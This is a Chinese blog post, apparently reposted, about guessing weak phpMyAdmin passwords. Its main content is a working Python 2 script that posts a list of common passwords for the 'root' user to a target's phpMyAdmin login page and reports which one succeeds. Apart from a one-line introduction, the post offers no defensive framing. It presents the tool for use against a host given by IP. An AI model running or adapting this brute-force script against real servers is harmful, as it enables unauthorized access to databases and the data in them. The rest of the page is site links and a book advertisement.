关于PHPMyAdmin弱口令猜解


本文摘自PHP中文网,作者藏色散人,侵删。

下面由phpmyadmin教程栏目给大家介绍关于PHPMyAdmin弱口令猜解,希望对需要的朋友有所帮助!

PHPMyAdmin弱口令猜解【Python脚本】

PHPMyAdmin弱口令猜解

测试截图:

代码片段

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

#! /usr/bin/env python

# _*_  coding:utf-8 _*_

import requests

import time

 

username_list=['root']

password_list=['root','','admin','123456','password']

 

def phpMyAdmin(ip,port=80):

    for username in username_list:

        username =username.rstrip()

        for password in password_list:

            password = password.rstrip()

            try:

                #url = "http://192.168.106.141/phpmyadmin/index.php"

                url = "http://"+ip+":"+str(port)+"/phpmyadmin/index.php"

 

                data={'pma_username':username,'pma_password':password}

                response = requests.post(url,data=data,timeout=5)

                result=response.content

                if result.find('name="login_form"')==-1:

                    print '===================================================='

                    print '[+] find phpMyAdmin weak password:'+username,password

                    print '===================================================='

                    break

                else:

                    print '[-] Checking for '+username,password+" fail"

            except:

                print '[-] Something Error'+username,password+" fail"

                 

if __name__ == '__main__':

    phpMyAdmin("192.168.106.141")

以上就是关于PHPMyAdmin弱口令猜解的详细内容,更多文章请关注木庄网络博客

相关阅读 >>

phpMyAdmin怎么修复表

phpMyAdmin叫什么

phpMyAdmin如何添加自增

如何进行加密访问phpMyAdmin

phpMyAdmin出现2003错误,服务器没有响应怎么办?

phpMyAdmin在哪里设置utf_8

phpMyAdmin中缺少mysqli扩展问题怎么办

phpMyAdmin怎么搜索表中数据?

phpMyAdmin下载就可以直接用吗

phpMyAdmin怎么导入数据库

更多相关阅读请进入《phpMyAdmin》频道 >>


数据库系统概念 第6版
书籍

数据库系统概念 第6版

机械工业出版社

本书主要讲述了数据模型、基于对象的数据库和XML、数据存储和查询、事务管理、体系结构等方面的内容。



打赏

取消

感谢您的支持,我会继续努力的!

扫码支持
扫码打赏,您说多少就多少

打开支付宝扫一扫,即可进行扫码打赏哦

分享从这里开始,精彩与您同在

评论

管理员已关闭评论功能...